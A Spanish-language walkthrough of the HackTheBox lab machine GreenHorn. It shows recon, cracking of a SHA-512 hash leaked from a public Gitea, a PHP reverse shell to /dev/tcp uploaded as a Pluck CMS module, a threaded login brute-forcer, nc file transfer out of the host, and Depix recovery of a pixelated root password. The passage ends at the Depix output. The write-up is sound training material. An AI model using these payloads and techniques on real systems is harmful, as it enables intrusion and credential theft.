the_open_door
café
ESEN

GreenHorn

HackTheBoxFácilLinux10.10.11.25

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#pluck-cms#cve-2023-50564#cve-2024-43042#gitea#source-code-leak#hash-cracking#file-upload-rce#credential-reuse#depix#pdf#linux
TL;DR. GreenHorn es una máquina Linux fácil con un giro curioso al final. La web corre Pluck CMS 4.7.18, pero la contraseña del panel no se saca por fuerza bruta: un Gitea público en el puerto 3000 expone el código fuente, y en pass.php hay un hash SHA-512 que john revienta a iloveyou1. Con el admin, la instalación de módulos de Pluck permite subir un .php en un .zip y obtener shell como www-data. La contraseña se reutiliza para su junior, y en su home un PDF esconde la contraseña de root pixelada: la recuperamos con Depix.

Reconocimiento

Escaneo de puertos

El primer paso es el barrido de los 65535 puertos TCP. Aquí se lanza a través de jmap, una función del .zshrc que envuelve a nmap y guarda la salida en formato grepable; pide la IP de forma interactiva:

jmap

jmap pregunta la IP, escanea los 65535 puertos de 10.10.11.25 y encuentra 22, 80 y 3000 con ttl 63

[+] Introduce una IP

10.10.11.25

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 11:39 CET
Initiating SYN Stealth Scan at 11:39
Scanning 10.10.11.25 [65535 ports]
Discovered open port 80/tcp on 10.10.11.25
Discovered open port 22/tcp on 10.10.11.25
Discovered open port 3000/tcp on 10.10.11.25
Completed SYN Stealth Scan at 11:39, 15.58s elapsed (65535 total ports)
Nmap scan report for 10.10.11.25
Host is up, received user-set (0.11s latency).
Scanned at 2024-11-11 11:39:15 CET for 16s
Not shown: 59803 closed tcp ports (reset), 5729 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.69 seconds
           Raw packets sent: 76998 (3.388MB) | Rcvd: 63700 (2.548MB)

La propia salida delata los parámetros que usa la función: SYN Stealth Scan es -sS, [65535 ports] es -p- y el aviso final confirma --defeat-rst-ratelimit (que acelera el escaneo a costa de que algún puerto cerrado se reporte como filtrado). El equivalente explícito, sin función de por medio, sería:

nmap -p- -sS --min-rate 5000 --defeat-rst-ratelimit -vvv -Pn -n 10.10.11.25 -oG allPorts

La columna REASON es la primera pista del sistema operativo: ttl 63. Linux arranca el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1 y apunta a Linux (indicio, no prueba: el TTL se puede falsificar). Lo confirmará el escaneo de versiones, con banners de Ubuntu.

Para no copiar los puertos a mano, extractPorts lee el fichero grepable que dejó jmap y deja la lista en el portapapeles:

extractPorts scan

extractPorts imprime la IP 10.10.11.25 y los puertos 22,80,3000 y los copia al portapapeles

Extracting information ...

	IP Address: 10.10.11.25
	Open ports: 22,80,3000

[*] Ports copied to clipboard

Con esos tres puertos lanzamos el escaneo de scripts y versiones, que es el que de verdad identifica el software:

jmap2 10.10.11.25 22,80,3000

nmap -sCV identifica OpenSSH 8.9p1 Ubuntu, nginx 1.18.0 con redirect a greenhorn.htb y un servicio no reconocido en el 3000 cuyo HTML dice GreenHorn

Nmap scan report for 10.10.11.25 (10.10.11.25)
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
...
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=8c21602bee80ef00; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=zWYjjDdx28Ri_sfEpfdpBjtt5-w6MTczMTMyMTUwMDIzNzI4NTA5MA==; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 11 Nov 2024 10:38:20 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|_    <title>GreenHorn</title>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...

Tres lecturas importantes:

  • El 22 es OpenSSH 8.9p1 de Ubuntu, que confirma el Linux que sugería el TTL.
  • El 80 es nginx 1.18.0 y nmap avisa de algo clave: Did not follow redirect to http://greenhorn.htb/. El servidor responde con una redirección a un nombre de dominio, no a la IP, así que hay virtual hosting por detrás.
  • El 3000 nmap no lo reconoce (lo etiqueta como ppp?), pero el volcado del fingerprint lo delata solo: la cookie i_like_gitea es la firma inequívoca de un Gitea, un servidor Git autoalojado. Este es el detalle que decide la máquina, y está en la salida del primer escaneo.

Virtual hosting: greenhorn.htb

Como el 80 redirige a greenhorn.htb, nuestra máquina tiene que saber a qué IP resuelve ese nombre. No hay DNS que lo sepa, así que lo añadimos al /etc/hosts:

sudo nano /etc/hosts

el fichero /etc/hosts editado con nano incluye la línea 10.10.11.25 greenhorn.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.25     greenhorn.htb

Pluck CMS 4.7.18

Con el nombre resolviendo, whatweb identifica la pila y, lo más útil, la versión exacta del gestor de contenidos:

whatweb http://greenhorn.htb

whatweb sigue el redirect 302 y en la respuesta 200 identifica nginx 1.18.0, MetaGenerator pluck 4.7.18 y Pluck-CMS 4.7.18

http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ],
  HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25],
  RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ],
  HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18],
  Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]

Dos cosas: la raíz devuelve un 302 hacia /?file=welcome-to-greenhorn (ese RedirectLocation es el que hay que seguir para ver algo), y el CMS es Pluck 4.7.18.

Pluck es un gestor de contenidos libre, pequeño y sencillo, escrito en PHP y sin base de datos: guarda todo en ficheros dentro de su propio directorio. Ese detalle importa, porque significa que la contraseña del panel vive en un fichero del árbol del proyecto, no en una tabla de MySQL.

Visitando la URL del redirect vemos la web: una carta de bienvenida firmada por Mr. Green con dos páginas, y al pie el enlace admin con el sello powered by pluck.

la web de greenhorn.htb muestra la carta Welcome to GreenHorn firmada por Mr. Green y al pie admin powered by pluck

Welcome to GreenHorn !

Dear Aspiring Web Developers,

Welcome to GreenHorn Web Development! We are thrilled to have you join our community
dedicated to helping juniors kickstart their web development careers.
...
Best regards,

Mr. Green

admin | powered by pluck

Quedémonos con dos nombres que reaparecerán: Mr. Green y el junior de la segunda pestaña (Welcome the new junior !).

Descubrimiento de contenido

El parámetro ?file= pide a gritos que se le fuzzee: podría ser un inclusión de ficheros disfrazada de router de páginas. Lanzamos wfuzz sobre él, filtrando por líneas para quitar el ruido de la respuesta por defecto:

wfuzz -u 'http://greenhorn.htb/?file=FUZZ' -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl=22

wfuzz lanza 220559 peticiones contra ?file=FUZZ y solo devuelve cuatro respuestas de 93 caracteres: <em>checkout</em>, <em>docroot</em>, * y http%3A%2F%2Fwww

Target: http://greenhorn.htb/?file=FUZZ
Total requests: 220559

ID           Response   Lines    Word     Chars       Payload

000007004:   200        0 L      14 W     93 Ch       "*checkout*"
000015463:   200        0 L      14 W     93 Ch       "*docroot*"
000016413:   200        0 L      14 W     93 Ch       "*"
000022971:   200        0 L      14 W     93 Ch       "http%3A%2F%2Fwww"

Cuatro resultados, todos de 93 caracteres y todos con asteriscos o una URL en el payload. Que compartan longitud exacta es la señal de que devuelven la misma respuesta, así que no son páginas distintas: es un caso especial. Lo comprobamos a mano:

el navegador en greenhorn.htb/?file=<em>docroot</em> muestra el mensaje A hacking attempt has been detected. For security reasons, we're blocking any code execution.

A hacking attempt has been detected. For security reasons, we're blocking any code execution.

No es contenido, es el filtro de Pluck saltando. Los 93 caracteres son ese mensaje. Callejón sin salida, pero informativo: el parámetro file está saneado y no va a dar una inclusión de ficheros.

Cambiamos de enfoque y fuzzeamos rutas en lugar del parámetro, con dirsearch, que ya prueba extensiones web por defecto:

dirsearch -u http://greenhorn.htb/

dirsearch sobre greenhorn.htb encuentra entre otros /admin.php con 200 y 4KB y /login.php con 200 y 1KB

  _|. _ _  _  _  _ _|_    v0.4.3

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/krmena/machines/greenhorn/reports/http_greenhorn.htb/__24-11-11_11-59-20.txt

Target: http://greenhorn.htb/

[11:59:20] Starting:
[11:59:37] 200 -    4KB - /admin.php
[11:59:57] 301 -  178B  - /data  ->  http://greenhorn.htb/data/
[11:59:57] 200 -   48B  - /data/
[11:59:59] 301 -  178B  - /docs  ->  http://greenhorn.htb/docs/
[12:00:03] 301 -  178B  - /files  ->  http://greenhorn.htb/files/
[12:00:06] 301 -  178B  - /images  ->  http://greenhorn.htb/images/
[12:00:08] 200 -    4KB - /install.php
[12:00:12] 200 -    1KB - /login.php

Los dos interesantes son /admin.php (que redirige al login si no hay sesión) y /login.php.

El panel y el intento de fuerza bruta

login.php es atípico: no pide usuario, solo contraseña. Eso reduce el problema a adivinar una única cadena, así que la fuerza bruta es lo primero que se prueba. Y ahí aparece el bloqueo:

el login de pluck 4.7.18 muestra el error You have exceeded the number of login attempts. Please wait 5 minutes before logging in again

pluck  log in

password
[            ]  [Log in]

You have exceeded the number of login attempts. Please wait 5 minutes before logging in again.

pluck 4.7.18 © 2005-2024. pluck is available under the terms of the GNU General Public License.

Cinco minutos de espera tras varios fallos. Con rockyou por delante eso es inviable.

Llegados aquí, el paso lógico es preguntar si esa versión concreta tiene vulnerabilidades conocidas (de la versión al exploit). Buscando la cadena que dio whatweb:

búsqueda en Google de Pluck-CMS[4.7.18] con resultados de INCIBE y la CVE-2024-43042

Pluck-CMS[4.7.18]

INCIBE  https://www.incibe.es › aviso › i...
Incorrect limitation of a path to a restricted directory in Pluck ...
1 oct 2024. INCIBE has coordinated the publication of one medium severity
vulnerability affecting Pluck CMS version 4.7.18, a small and simple content ...

INCIBE  https://www.incibe.es › incibe-cert
CVE-2024-43042
16 ago 2024. Description: Pluck CMS 4.7.18 does not restrict failed login attempts,
allowing attackers to execute a brute force attack.

La ficha de CVE-2024-43042 en INCIBE-CERT dice literalmente lo contrario a lo que acabamos de ver:

la ficha de INCIBE-CERT para CVE-2024-43042 describe que Pluck CMS 4.7.18 no restringe los intentos fallidos de inicio de sesión

CVE-2024-43042

Gravedad CVSS v4.0: Pendiente de análisis
Tipo: No disponible / Otro
Fecha de publicación: 16/08/2024
Última modificación: 19/09/2024

Descripción
Pluck CMS 4.7.18 no restringe los intentos fallidos de inicio de sesión, lo que permite
a los atacantes ejecutar un ataque de fuerza bruta.

Esta contradicción entre el aviso y lo observado es interesante y merece comprobarse en vez de creerse. Escribimos un script que reutiliza la sesión (PHPSESSID) y las cabeceras exactas de una petición legítima, y prueba rockyou en diez hilos, distinguiendo el fallo de credenciales (Password incorrect.) del bloqueo por intentos:

#!/usr/bin/python3

import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://greenhorn.htb/login.php"

data_template = {
    "cont1": "",
    "bogus": "",
    "submit": "Log in"
}

headers = {
    "Host": "greenhorn.htb",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://greenhorn.htb",
    "Connection": "close",
    "Referer": "http://greenhorn.htb/login.php",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i"
}

cookies = {
    "PHPSESSID": "5r3ipkmqe38o84cn04pagdb6ho"
}

def try_password(password):
    password = password.strip()
    data_template["cont1"] = password
    response = requests.post(url, data=data_template, headers=headers, cookies=cookies)

    if "Password incorrect." not in response.text and "You have exceeded the number of login attempts. Please wait 5 minutes before logging in again." not in response.text:
        print(f"¡Contraseña encontrada!: {password}")
        return True
    else:
        print(f"Intento fallido: {password}")
        return False


num_threads = 10

with open('/home/krmena/rockyoudir/rockyou.txt', 'r', encoding='utf-8') as file:
    passwords = file.readlines()

with ThreadPoolExecutor(max_workers=num_threads) as executor:
    results = executor.map(try_password, passwords)

    if any(results):
        print("Proceso terminado: contraseña encontrada.")
    else:
        print("Proceso terminado: contraseña no encontrada.")

El script no saca la contraseña: el mensaje de bloqueo aparece igual y todos los intentos se marcan como fallidos. La CVE describe un escenario que en esta instalación no es explotable en la práctica, así que la vía de la fuerza bruta se descarta con evidencia, no por suposición.

Ese fracaso es el que devuelve la atención al puerto que quedaba sin tocar: el 3000.

Shell como www-data

Gitea en el 3000: el código fuente

El servicio del 3000 es el Gitea que ya delataba la cookie i_like_gitea en el escaneo. Se puede navegar sin credenciales, y expone el repositorio GreenAdmin/GreenHorn con el código fuente de la propia web. Como Pluck no usa base de datos, la contraseña del panel tiene que estar en un fichero, y ahí está: data/settings/pass.php.

el fichero pass.php del repo GreenAdmin/GreenHorn en Gitea contiene la variable $ww con un hash de 128 caracteres hexadecimales

<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

Son 128 caracteres hexadecimales. Esa longitud ya reduce muchísimo el abanico de algoritmos (512 bits = 128 nibbles), y un identificador de hashes lo confirma:

hashes.com identifica el hash de 128 caracteres como posible algoritmo SHA512

Proceeded!
1 hashes were checked: 1 possibly identified 0 no identification

Possible identifications:
...3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163 - Possible algorithms: SHA512

Nótese el "possibly": SHA-512 y otros algoritmos de 512 bits comparten longitud, así que la identificación es una hipótesis que se valida al crackear.

Crackear el hash

Guardamos el hash en un fichero llamado sha512 y se lo pasamos a john con el formato raw-sha512 (SHA-512 crudo, sin sal ni iteraciones) y rockyou:

john --format=raw-sha512 --wordlist=/home/krmena/rockyoudir/rockyou.txt sha512

john carga un hash Raw-SHA512, usa 8 hilos OpenMP y en menos de un segundo devuelve iloveyou1

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1        (?)
1g 0:00:00:00 DONE (2024-11-11 12:56) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..total90
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Cae en menos de un segundo: iloveyou1 está en rockyou cerca del principio. Un SHA-512 sin sal es rapidísimo de calcular, que es justo lo que no interesa en un algoritmo de contraseñas.

La probamos en el panel y entra:

el panel de administración de pluck muestra la pantalla start con el menú view site, pages, modules, options y log out

Be carefull with clicking links, they might compromise your website. Your installation is not secured with measures to protect it.

pluck   view site | start | pages | modules | options | log out

start
Welcome to the administration center of pluck.
Here you can manage your website. Choose a link in the menu at the top of your screen.

Del menú, el que interesa es modules.

RCE por instalación de módulo (CVE-2023-50564)

Pluck 4.7.18 deja instalar módulos subiendo un .zip desde el panel. La CVE-2023-50564 es exactamente eso: el instalador descomprime el ZIP en data/modules/ sin validar qué contiene, y ese directorio queda servido por nginx con PHP activo. Un .php dentro del ZIP se convierte en ejecución remota de código.

El fichero es una reverse shell mínima en PHP, apuntando a nuestra IP de VPN y al puerto 4444:

cat cebolla.php

cat de cebolla.php muestra un exec de bash -c con una redirección a /dev/tcp/10.10.15.39/4444

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.15.39/4444 0<&1 2>&1'");
?>

/dev/tcp/<ip>/<puerto> es una pseudo-ruta de bash: al redirigir sobre ella, bash abre un socket TCP en vez de un fichero. Con bash -i en el otro extremo tenemos una shell interactiva sin necesidad de subir ningún binario.

Lo empaquetamos en un ZIP (a zip le basta el nombre base, añade la extensión):

zip cebolla cebolla.php

zip empaqueta cebolla.php y muestra adding: cebolla.php (deflated 9%)

  adding: cebolla.php (deflated 9%)

Antes de subir nada, dejamos el listener preparado en el mismo puerto que fija la reverse shell:

nc -nlvp 4444

Y ahora sí, subimos el ZIP desde admin.php?action=installmodule:

el instalador de módulos de Pluck con cebolla.zip seleccionado muestra el mensaje El módulo ha sido instalado correctamente

instalar módulos
Aquí puede instalar módulos nuevos. Porfavor, asegúrese de que ha descarg...

[Browse...] cebolla.zip  [Subir]

<<< atrás

El módulo ha sido instalado correctamente.

El .php queda accesible bajo data/modules/cebolla/cebolla.php. Al pedirlo con el navegador, PHP lo ejecuta y el listener recibe la conexión:

el listener nc recibe la conexión desde 10.10.11.25 y da un prompt www-data@greenhorn:~/html/pluck donde ls lista los ficheros de Pluck

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.25] ...
bash: cannot set terminal process group (1097): Inappropriate ioctl for device
www-data@greenhorn:~/html/pluck$ ls
README.md
SECURITY.md
admin.php
data
docs
files
images
index.php
install.php
login.php
requirements.php
robots.txt

Somos www-data en /var/www/html/pluck. El aviso cannot set terminal process group es el síntoma habitual de una shell sin TTY: funciona, pero sin control de trabajos ni historial.

Shell como junior

Reutilización de contraseña

Lo primero al pisar una máquina es mirar qué usuarios hay y probar a reutilizar las credenciales que ya tenemos. En /home hay un usuario junior, y iloveyou1 (la contraseña del panel web) sirve también para su cuenta del sistema:

ls /home
su junior
whoami

ls /home lista git y junior; su junior con la contraseña iloveyou1 funciona y whoami devuelve junior

www-data@greenhorn:/home$ ls
git
junior
www-data@greenhorn:/home$ su junior
Password: iloveyou1

whoami
junior

(La contraseña se ve en claro porque la shell no tiene TTY y no puede desactivar el eco del terminal.)

Ese mismo problema hay que arreglarlo antes de seguir, o cualquier comando interactivo fallará. Con script conseguimos un pseudo-terminal y exportamos las variables de entorno que espera una sesión normal:

script /dev/null -c bash
export TERM=xterm SHELL=bash

script /dev/null -c bash arranca una shell con pty y export TERM=xterm SHELL=bash deja el prompt de junior operativo

script /dev/null -c bash
Script started, output log file is '/dev/null'.
junior@greenhorn:/home$ clear
clear
TERM environment variable not set.
junior@greenhorn:/home$ export TERM=xterm SHELL=bash
export TERM=xterm SHELL=bash
junior@greenhorn:/home$

El TERM environment variable not set. de la primera línea es la prueba de por qué hacía falta: sin TERM, ni siquiera clear funciona.

user.txt

En el home de junior está la primera flag, y junto a ella un fichero que no pinta nada en un directorio personal:

ls
cat user.txt

el home de junior contiene user.txt y Using OpenVAS.pdf; cat user.txt devuelve la flag

junior@greenhorn:~$ ls
 user.txt  'Using OpenVAS.pdf'
junior@greenhorn:~$ cat user.txt
8334c1095f11f93baff54e557c8e830b

Using OpenVAS.pdf. Un PDF en el home de un usuario de servidor es exactamente el tipo de fichero que hay que mirar.

Shell como root

Sacar el PDF de la máquina

Para leerlo cómodamente lo traemos a nuestro equipo. La forma más simple con lo que ya hay instalado es nc: un extremo escucha y redirige lo que reciba a un fichero, el otro le vuelca el PDF por la entrada.

Primero, en nuestra máquina, el receptor:

nc -lvp 1234 > openvas.pdf

Y desde la máquina víctima, el emisor:

nc 10.10.15.39 1234 < openvas.pdf

desde el prompt de junior se lanza nc contra 10.10.15.39 al puerto 1234 redirigiendo openvas.pdf por la entrada

junior@greenhorn:~$ nc 10.10.15.39 1234 < openvas.pdf
junior@greenhorn:~$

El comando devuelve al prompt sin imprimir nada: nc no informa de la transferencia, así que la comprobación tiene que hacerse en el otro lado. En el nombre del fichero también hay un detalle práctico: el original lleva un espacio (Using OpenVAS.pdf), incómodo en línea de comandos, y aquí aparece ya como openvas.pdf.

Del lado receptor sí se ve todo: la conexión entrante, el fichero en disco y su cabecera:

ls
cat openvas.pdf

el nc a la escucha en el 1234 recibe la conexión desde greenhorn.htb; ls muestra openvas.pdf y cat empieza por %PDF-1.7

listening on [any] 1234 ...
connect to [10.10.15.39] from greenhorn.htb [10.10.11.25] 54182
^C

archivo_recibido.pdf  openvas.pdf  sha512

%PDF-1.7
%????
1 0 obj
<<
/Type /Catalog
...

La cabecera %PDF-1.7 confirma que el fichero llegó íntegro y es realmente un PDF (el volcado binario posterior está tapado en la captura original). De paso se ve el directorio de trabajo: ahí siguen el fichero sha512 del paso de john y un archivo_recibido.pdf de un intento anterior.

Para verlo con el visor de PDF del navegador, levantamos un servidor HTTP en ese mismo directorio:

python3 -m http.server 80

python3 -m http.server 80 sirve el directorio content y registra dos peticiones GET, la segunda a /openvas.pdf con 200

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [11/Nov/2024 23:57:27] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [11/Nov/2024 23:57:30] "GET /openvas.pdf HTTP/1.1" 200 -

Using OpenVAS.pdf: la contraseña pixelada

El PDF es una nota de Mr. Green dirigida a junior:

el PDF abierto en localhost muestra la nota de Mr. Green con el comando sudo /usr/sbin/openvas y, tras Enter password, una franja pixelada

Hello junior,

We have recently installed OpenVAS on our server to actively monitor and identify potential security
vulnerabilities. Currently, only the root user, represented by myself, has the authorization to execute
OpenVAS using the following command:

`sudo /usr/sbin/openvas`

Enter password: [franja pixelada]

As part of your familiarization with this tool, we encourage you to learn how to use OpenVAS
effectively. In the future, you will also have the capability to run OpenVAS by entering the same
command and providing your password when prompted.

Feel free to reach out if you have any questions or need further assistance.

Have a great week,

Mr. Green

Dos datos. Uno, que el comando privilegiado es sudo /usr/sbin/openvas y que quien lo ejecuta es root. Dos, y decisivo: la contraseña que va detrás de Enter password: está pixelada, no tachada.

Alguien pensó que pixelar oculta. No es así: el pixelado es una transformación determinista (cada bloque de salida es el promedio de un bloque de entrada del mismo tamaño), y por tanto reversible por comparación si se conoce la fuente y el tamaño de bloque. De eso se encarga Depix.

Extraer la imagen pixelada

Depix necesita solo la franja pixelada, recortada con precisión y sin margen alrededor. Recortar a ojo con una captura de pantalla introduce ruido y desalinea la rejilla, así que hay que sacar la imagen original incrustada en el PDF.

Para eso está pdfimages, del paquete poppler-utils:

sudo apt-get install poppler-utils

apt-get install poppler-utils lee las listas de paquetes y construye el árbol de dependencias

Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done

pdfimages extrae todas las imágenes embebidas del PDF y las guarda con el prefijo que le indiquemos:

pdfimages -j openvas.pdf output
ls

pdfimages -j sobre openvas.pdf genera output-000.ppm, visible en el ls posterior

archivo_recibido.pdf  openvas.pdf  output-000.ppm  sha512

Una sola imagen: output-000.ppm. Es la franja de la contraseña y nada más. La vemos con eog, el visor de imágenes de GNOME:

eog output-000.ppm

eog abre output-000.ppm y muestra únicamente la franja pixelada de la contraseña, sin margen

poppler-utils is already the newest version (24.08.0-2).
0 upgraded, 0 newly installed, 0 to remove and 663 not upgraded.

(La ventana de eog muestra la franja recortada exactamente; el terminal solo confirma que poppler-utils ya estaba instalado.)

Preparar el PNG en modo RGB

Depix trabaja con PNG, no con PPM, así que convertimos el formato. mogrify, del paquete imagemagick, lo hace sobre la marcha:

sudo apt install imagemagick -y

apt install imagemagick instala imagemagick y la dependencia imagemagick-6.q16

Installing:
  imagemagick

Installing dependencies:
  imagemagick-6.q16

Summary:
  Upgrading: 0, Installing: 2, Removing: 0, Not Upgrading: 663
  Download size: 309 kB
  Space needed: 655 kB / 76.5 GB available
mogrify -format png output-*.ppm
ls

mogrify convierte output-000.ppm a output-000.png, que aparece en el ls junto al ppm original

archivo_recibido.pdf  openvas.pdf  output-000.png  output-000.ppm  sha512

Queda un detalle que hace fallar a Depix de forma poco evidente: su método interno __loadImageData solo sabe leer PNG en modo RGB, y mogrify puede dejar el PNG en modo paleta (P). Lo comprobamos con un script de tres líneas usando pillow:

from PIL import Image
image = Image.open('output-000.png')
print(image.mode)   # debe imprimir 'RGB' para que Depix funcione
print(image.size)   # dimensiones de la imagen
python3 comprobacionrgb.py

el script comprobacionrgb.py imprime P y (420, 15)

P
(420, 15)

Modo P (paleta indexada), no RGB: efectivamente habría fallado. Y de paso vemos el tamaño real de la franja, 420 × 15 píxeles. Un segundo script lo convierte:

from PIL import Image

# Cargar la imagen PNG
image_path = '/home/krmena/machines/greenhorn/content/output-000.png'
image = Image.open(image_path)

# Modo y tamaño originales
print(f"Original image mode: {image.mode}")  # debería ser 'P'
print(f"Image size: {image.size}")

# Convertir a RGB si hace falta
if image.mode != 'RGB':
    image = image.convert('RGB')
    rgb_image_path = '/home/krmena/machines/greenhorn/content/output_rgb.png'
    image.save(rgb_image_path)
    print(f"Converted image saved at {rgb_image_path} with mode {image.mode}")

# Confirmar el nuevo modo
new_image = Image.open(rgb_image_path)
print(f"New image mode: {new_image.mode}")  # debería ser 'RGB'
python3 convertRGB.py

convertRGB.py informa de modo original P, tamaño 420x15, guarda output_rgb.png y confirma New image mode: RGB

Original image mode: P
Image size: (420, 15)
Converted image saved at /home/krmena/machines/greenhorn/content/output_rgb.png with mode RGB
New image mode: RGB
ls

ls muestra output_rgb.png junto a los dos scripts de python y el resto de ficheros del directorio

archivo_recibido.pdf  comprobacionrgb.py  convertRGB.py  openvas.pdf  output-000.png  output-000.ppm  output_rgb.png  sha512

Depix

Depix no está en los repositorios; se clona de su repositorio oficial, spipm/Depix:

git clone https://github.com/spipm/Depix.git

git clone de https://github.com/spipm/Depix.git descarga 250 objetos, 851.45 KiB

Cloning into 'Depix'...
remote: Enumerating objects: 250, done.
remote: Counting objects: 100% (77/77), done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 250 (delta 43), reused 53 (delta 33), pack-reused 173 (from 1)
Receiving objects: 100% (250/250), 851.45 KiB | 3.49 MiB/s, done.
Resolving deltas: 100% (115/115), done.

Lo movemos al directorio de trabajo junto a la imagen:

cp -r Depix /home/krmena/machines/greenhorn/content
cd /home/krmena/machines/greenhorn/content
ls
cd Depix
mv ../output_rgb.png .

se copia el directorio Depix al directorio content, se entra en él y se mueve output_rgb.png dentro

Depix  archivo_recibido.pdf  comprobacionrgb.py  convertRGB.py  openvas.pdf  output-000.png  output-000.ppm  output_rgb.png  sha512

Ahora el ataque. Depix necesita tres cosas: la imagen pixelada (-p), una imagen de búsqueda (-s) y el fichero de salida (-o). La imagen de búsqueda es la clave del método: es una secuencia De Bruijn con todos los caracteres posibles, renderizada con la misma fuente y pixelada con el mismo tamaño de bloque. Al comparar cada bloque del objetivo contra ese catálogo, se deduce qué carácter lo generó. Viene incluida en el propio repositorio (images/searchimages/), y hay que elegir la variante correcta: aquí, debruinseq_notepad_Windows10_closeAndSpaced.png.

python3 depix.py \
  -p /home/krmena/machines/greenhorn/content/Depix/output_rgb.png \
  -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
  -o /home/krmena/machines/greenhorn/content/Depix/cracked.png

depix.py con -p imagen pixelada, -s imagen de referencia y -o imagen despixelada, con el log de bloques y coincidencias

2024-11-12 00:33:34,966 - Loading pixelated image from /home/krmena/machines/greenhorn/content/Depix/output_rgb.png
2024-11-12 00:33:34,981 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-11-12 00:33:36,803 - Finding color rectangles from pixelated space
2024-11-12 00:33:36,805 - Found 252 same color rectangles
2024-11-12 00:33:36,805 - 190 rectangles left after moot filter
2024-11-12 00:33:36,805 - Found 1 different rectangle sizes
2024-11-12 00:33:36,805 - Finding matches in search image
2024-11-12 00:33:36,805 - Scanning 190 blocks with size (5, 5)
2024-11-12 00:33:36,852 - Scanning in searchImage: 0/1674
2024-11-12 00:34:52,942 - Removing blocks with no matches
2024-11-12 00:34:52,942 - Splitting single matches and multiple matches
2024-11-12 00:34:52,948 - [16 straight matches | 174 multiple matches]
2024-11-12 00:34:52,948 - Trying geometrical matches on single-match squares
2024-11-12 00:34:53,461 - [29 straight matches | 161 multiple matches]
2024-11-12 00:34:53,462 - Trying another pass on geometrical matches
2024-11-12 00:34:53,909 - [41 straight matches | 149 multiple matches]
2024-11-12 00:34:53,909 - Writing single match results to output
2024-11-12 00:34:53,911 - Writing average results for multiple matches to output
2024-11-12 00:34:58,689 - Saving output image to: /home/krmena/machines/greenhorn/content/Depix/cracked.png

El log deja ver el mecanismo: encuentra 252 rectángulos de color uniforme, los filtra a 190, detecta un único tamaño de bloque (5 × 5) y busca cada uno de esos 190 bloques dentro de la imagen de referencia. Las dos pasadas geométricas suben las coincidencias inequívocas de 16 a 41; el resto se resuelve promediando. El resultado:

la imagen cracked.png reconstruida por Depix se lee: side from side The other side side from side The other side

side from side The other side side from side The other side

